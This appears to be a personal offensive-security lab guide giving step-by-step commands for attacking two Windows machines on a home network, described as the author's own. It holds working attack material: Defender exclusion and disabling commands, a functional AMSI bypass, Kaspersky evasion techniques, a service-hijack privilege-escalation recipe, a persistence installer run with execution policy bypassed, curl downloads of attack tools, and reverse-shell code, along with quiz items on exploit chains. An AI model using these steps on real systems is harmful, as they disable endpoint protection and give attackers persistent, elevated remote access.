PRACTICAL LABS // STEP-BY-STEP

Copy-paste commands, expected outputs, troubleshooting, simulations, and live test results

// SSH TEST RESULTS — LIVE LAB EVIDENCE

LAB VERIFICATION — WHAT ACTUALLY WORKS

EXERCISE 1: Verify WUPC (.42) is Reachable
You need: SSH client (Git Bash on Windows), known IP (192.168.1.42), known username (SWu), working network connection
STEP 1: Test basic connectivity
Open Git Bash. Type this exact command:
ping -c 3 192.168.1.42 # Expected: 3 replies, 0% loss, ~1ms time
Reply from 192.168.1.42: bytes=32 time=1ms TTL=128 Reply from 192.168.1.42: bytes=32 time=1ms TTL=128 Reply from 192.168.1.42: bytes=32 time=1ms TTL=128 Ping statistics for 192.168.1.42: Packets: Sent = 3, Received = 3, Lost = 0 (0% loss)
If "Request timed out": Check ethernet cable is plugged into WUPC. Check WUPC is powered on. Check Windows Firewall on WUPC is OFF (it should be).
STEP 2: SSH into WUPC
Type this exact command. When prompted for password, type the WUPC password (you set this):
ssh SWu@192.168.1.42 # You will see: SWu@192.168.1.42's password: # Type the password (characters won't show — this is normal)
Microsoft Windows [Version 10.0.19045.3693] (c) Microsoft Corporation. All rights reserved. C:\Users\SWu>
If "Connection refused": SSH server not running on WUPC. Fix: On WUPC, open PowerShell as Admin and run: Add-WindowsCapability -Online -Name OpenSSH.Server
STEP 3: Verify privileges
Once inside WUPC, run these commands one by one:
whoami desktop-abc123\swu # This confirms you're logged in as SWu whoami /groups | findstr /C:"S-1-5-32-544" BUILTIN\Administrators # If this appears, you have ADMIN privileges. This is GOLDEN. whoami /priv | findstr SeImpersonatePrivilege SeImpersonatePrivilege Impersonate a client after authentication Enabled # If "Enabled" — you can escalate to SYSTEM. This is the key.
VERIFIED 2026-06-29: WUPC .42 — SSH_OK, Admin context, SeImpersonatePrivilege ENABLED. This means we can use PrintSpoofer/RoguePotato to get SYSTEM.
EXERCISE 2: Verify HOST (.92) is Reachable
You need: Your own machine (192.168.1.92), SSH server enabled, known username (gwu07)
STEP 1: Test from another machine or loopback
ssh gwu07@192.168.1.92 # Or test loopback: ssh gwu07@127.0.0.1
gwu07@192.168.1.92's password: Microsoft Windows [Version 10.0.22631.xxxx]
If "Connection refused": OpenSSH server not installed. Fix: Settings → Apps → Optional features → OpenSSH Server → Install. Then: Start-Service sshd
VERIFIED 2026-06-29: HOST .92 — SSH_OK, Standard user context, Kaspersky ACTIVE (avp.exe running). This is the REAL target — test evasion here, not in VM.
// DEFENSE BYPASS — BASED ON MENTOR'S LESSONS

BEATING AV/EDR — STEP BY STEP

LEGAL: Only test on YOUR machines (.42 and .92). Never on production, never on unauthorized systems.
EXERCISE 3: Check Defender Status (Silent Recon)
Before attacking, know what defenses exist. The mentor: "I used to work for anti-virus companies." He knows the blind spots.
STEP 1: Check if Defender is running
Get-MpComputerStatus | Select-Object RealTimeProtectionEnabled, AntivirusEnabled, AMServiceVersion # Run in PowerShell as Admin
RealTimeProtectionEnabled : True ← Defender is ACTIVE AntivirusEnabled : True AMServiceVersion : 4.18.24090.11
If "Get-MpComputerStatus : The term is not recognized" — Defender is not installed or you're on Server Core.
STEP 2: Check for other AV (Kaspersky, etc.)
Get-Process | Where-Object {$_.ProcessName -match "avp|kaspersky|mcshield|ccsvchst|bdagent|egui"} | Select-Object ProcessName, Id
ProcessName Id ----------- -- avp 49681 ← Kaspersky is RUNNING avpui 12345
If nothing appears, either no third-party AV is running, or it's hiding. Try: tasklist /svc | findstr /i "av"
EXERCISE 4: Add Defender Exclusion (Silent Bypass)
The mentor's approach: exclusions are silent. Disabling is noisy. This works even with Tamper Protection ON.
You need: Admin PowerShell. This requires admin rights. If you're standard user, skip to Exercise 5.
STEP 1: Add exclusion for your working directory
Add-MpPreference -ExclusionPath "C:\Users\swu\cheyanne" # Replace with your actual working directory Add-MpPreference -ExclusionPath "C:\tmp" # Also exclude temp directory if you use it for payloads
No output = Success. Defender now ignores this folder.
If "Access denied": You are not admin. Use: runas /user:administrator powershell
STEP 2: Verify exclusion is active
(Get-MpPreference).ExclusionPath
C:\Users\swu\cheyanne C:\tmp
STEP 3: Test with a "malicious" file (safe test)
# Create a file with EICAR test string (harmless but detected as virus) echo X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* > C:\Users\swu\cheyanne\eicar.txt # If exclusion works: file stays. If exclusion fails: file deleted instantly.
File remains in folder = Exclusion WORKS File disappears = Exclusion FAILED or not applied
If file deleted: Check you ran Add-MpPreference as Admin. Check the path is exact (no trailing backslash). Check Tamper Protection is OFF (Settings → Windows Security → Virus protection → Manage settings → Tamper Protection OFF)
EXERCISE 5: Disable Real-Time Protection (Noisy but Effective)
The mentor's approach: when exclusions aren't enough, disable. This is logged, so use only when necessary.
STEP 1: Disable real-time monitoring
Set-MpPreference -DisableRealtimeMonitoring $true
No output = Success. Real-time protection is now OFF.
STEP 2: Disable behavior monitoring
Set-MpPreference -DisableBehaviorMonitoring $true Set-MpPreference -DisableBlockAtFirstSeen $true Set-MpPreference -DisableIOAVProtection $true
STEP 3: Verify all disabled
Get-MpPreference | Select-Object DisableRealtimeMonitoring, DisableBehaviorMonitoring, DisableBlockAtFirstSeen
DisableRealtimeMonitoring : True DisableBehaviorMonitoring : True DisableBlockAtFirstSeen : True
EXERCISE 6: Kaspersky Bypass (The Hard Target)
Kaspersky is ACTIVE on .92. The mentor: "I used to work for anti-virus companies." He knows the blind spots. Kaspersky uses behavioral analysis, not just signatures.
STEP 1: Check Kaspersky protection status
# Kaspersky doesn't have a simple PowerShell API like Defender # Check if processes are running Get-Process avp, avpui, klnagent -ErrorAction SilentlyContinue | Select-Object Name, Id, Path
Name Id Path ---- -- ---- avp 49681 C:\Program Files (x86)\Kaspersky Lab\...
STEP 2: Understand Kaspersky's weakness
Kaspersky (like all AV) has a weakness: it can't inspect what it can't see. Techniques:
  • Memory injection: Don't write payload to disk. Inject directly into memory of a legitimate process.
  • Process hollowing: Start a legitimate process (notepad.exe), hollow it out, replace with your code.
  • AMSI bypass: If using PowerShell, bypass AMSI first so Kaspersky can't scan scripts.
  • ETW bypass: Disable Event Tracing for Windows so Kaspersky can't log events.
  • Sleep + jitter: Kaspersky behavioral analysis looks for rapid actions. Sleep random intervals between actions.
STEP 3: Test AMSI bypass (safe)
# This is a known AMSI bypass technique - works on most Windows versions $a = [Ref].Assembly.GetTypes() | Where-Object {$_.Name -like "*iUtils"} $b = $a.GetFields("NonPublic,Static") | Where-Object {$_.Name -like "*Context"} $c = $b.GetValue($null) $d = [UInt32[]]@(0) $c.GetType().GetField("m_pAMSI", "NonPublic,Static").SetValue($c, $null) # If no error, AMSI is bypassed. Test with: 'amsiutils' - should not trigger
If "Cannot index into a null array": The bypass technique is patched on your Windows version. Try the alternate method in DEFENDER_MANAGEMENT.md.
// SIMULATIONS — PRACTICE WITHOUT RISK

VIRTUAL EXERCISES — TEST YOUR UNDERSTANDING

SIMULATION 1: Reverse Shell Handshake
You are the attacker (192.168.1.92). Your target is 192.168.1.42. You need to establish a reverse shell.
Q1: On your machine, what command starts the listener?
nc 192.168.1.42 4444
nc -lvnp 4444
ssh -p 4444 192.168.1.42
Q2: Why does the target connect OUT to you instead of you connecting IN?
Because inbound connections are faster
Because firewalls block inbound, allow outbound
Because the target has a public IP
SIMULATION 2: Privilege Escalation Decision Tree
You have a shell as a standard user. You run whoami /priv and see SeImpersonatePrivilege is Enabled.
Q1: Which tool exploits SeImpersonatePrivilege?
Mimikatz
PrintSpoofer / RoguePotato / JuicyPotato
BloodHound
Q2: After getting SYSTEM, what's the FIRST thing you do?
Delete all logs
Install persistence
Start exfiltrating data
SIMULATION 3: AV Evasion Scenario
Your payload was clean 6 days ago. Today Kaspersky detects it.
Q1: Why was it detected?
You changed the XOR key
Kaspersky learned the signature from behavior analysis
The payload expired
Q2: How do you evade again?
Use the same payload but rename it
Change XOR key, payload structure, and delivery method
Email Kaspersky and ask them to whitelist you
SIMULATION 4: The Chain Architecture
You have: phishing email → PDF 0day → sandbox escape → kernel LPE → persistence → C2 beacon.
Q1: What happens if the PDF 0day is published and signature'd?
The whole chain still works
The first link breaks — you need a new entry point
Only the PDF part breaks, the rest is fine
Q2: Why do nation-states use chains instead of single exploits?
Because chains are easier to build
Because each link is a separate 0day — if one burns, the rest stay secret
Because chains look cooler in reports
// WIDGETS — BUILD AND TEST

HANDS-ON CODE — COMPILE AND RUN

WIDGET 1: Privilege Checker (C)
This widget checks what privileges you have and flags the "golden tickets" (SeImpersonate, SeDebug, etc.).
You need: cl.exe (Visual Studio) or gcc. If neither, use the pre-compiled version from the repo.
STEP 1: Get the code
curl -o privilege_checker.c https://raw.githubusercontent.com/rainfantry/lessons-from-teacher/master/widgets/privilege_checker.c
STEP 2: Compile (if you have cl.exe)
cl.exe privilege_checker.c /link advapi32.lib # Or with gcc: gcc privilege_checker.c -o privilege_checker.exe -ladvapi32
STEP 3: Run on target
privilege_checker.exe
[+] SeImpersonatePrivilege: ENABLED ← GOLDEN TICKET [+] SeDebugPrivilege: DISABLED [-] SeBackupPrivilege: DISABLED [+] EXPLOITABLE: PrintSpoofer, RoguePotato, JuicyPotato
WIDGET 2: Service Auditor (C)
Finds services you can hijack for SYSTEM privileges. Based on WUPC .42 evidence.
STEP 1: Get and compile
curl -o service_auditor.c https://raw.githubusercontent.com/rainfantry/lessons-from-teacher/master/widgets/service_auditor.c cl.exe service_auditor.c /link advapi32.lib
STEP 2: Run
service_auditor.exe
[+] HIJACKABLE SERVICE: HealthSecurityHost Path: C:\tmp\text\SecurityHealthHost_test.exe Permissions: Authenticated Users:(M) Runs as: LocalSystem EXPLOIT: Replace binary, restart service = SYSTEM
WIDGET 3: Persistence Installer (PowerShell)
Installs persistence at user, admin, and system levels. Based on mentor's "save every rung" methodology.
STEP 1: Download and run
# Run as current user (installs user-level persistence) powershell -ExecutionPolicy Bypass -File persistence_installer.ps1 -Level user # Run as admin (installs admin + user persistence) powershell -ExecutionPolicy Bypass -File persistence_installer.ps1 -Level admin # Run as SYSTEM (installs all three levels) powershell -ExecutionPolicy Bypass -File persistence_installer.ps1 -Level system
STEP 2: Verify persistence
# Check registry Run key reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" # Check services sc query | findstr /i "WindowsSecurity"
// EXERCISES — TEST YOUR SKILLS

BUILD, BREAK, DOCUMENT

EXERCISE 7: Build Your First Reverse Shell
The mentor: "Reverse shell is the basic for everything." Build it from scratch. No copy-paste from GitHub.
You need: C compiler (cl.exe or gcc), basic understanding of sockets (Module 01)
STEP 1: Write the listener (attacker side)
// listener.c — runs on YOUR machine (192.168.1.92) // Compile: cl.exe listener.c /link ws2_32.lib #include #include #pragma comment(lib, "ws2_32.lib") int main() { WSADATA wsa; WSAStartup(MAKEWORD(2,2), &wsa); SOCKET s = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in addr = {0}; addr.sin_family = AF_INET; addr.sin_addr.s_addr = INADDR_ANY; addr.sin_port = htons(4444); // <-- Network byte order! bind(s, (struct sockaddr*)&addr, sizeof(addr)); listen(s, 1); printf("[+] Listening on 0.0.0.0:4444\n"); SOCKET client = accept(s, NULL, NULL); printf("[+] Connection from target!\n"); // Redirect stdin/stdout/stderr to socket // ... (see Module 16 for full implementation) return 0; }
STEP 2: Write the client (victim side)
// client.c — runs on TARGET (192.168.1.42) // This connects BACK to you #include #include #pragma comment(lib, "ws2_32.lib") int main() { WSADATA wsa; WSAStartup(MAKEWORD(2,2), &wsa); SOCKET s = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in addr = {0}; addr.sin_family = AF_INET; addr.sin_port = htons(4444); addr.sin_addr.s_addr = inet_addr("192.168.1.92"); // <-- YOUR IP connect(s, (struct sockaddr*)&addr, sizeof(addr)); // CreateProcess with stdin/stdout/stderr = socket // ... (see Module 16 for full implementation) return 0; }
STEP 3: Test it
# On your machine (192.168.1.92): listener.exe [+] Listening on 0.0.0.0:4444 # On target (192.168.1.42): client.exe # On your machine, you should see: [+] Connection from target! Microsoft Windows [Version 10.0.19045.3693] C:\Users\SWu> _ # You now have a shell! Type commands.
EXERCISE 8: Document Your Findings
The mentor: "You should have your notes organized with commands, you shouldn't memorize." After every exercise, document.
STEP 1: Create your lab notebook
# Create a markdown file for each session # Template: ## LAB SESSION: YYYY-MM-DD ### Target: [IP/hostname] ### Objective: [What you're testing] #### Commands Run: ``` [command] [output] ``` #### Findings: - [What worked] - [What failed] - [What to try next] #### Evidence: [Screenshots, logs, file hashes] #### Next Steps: - [What to do in next session]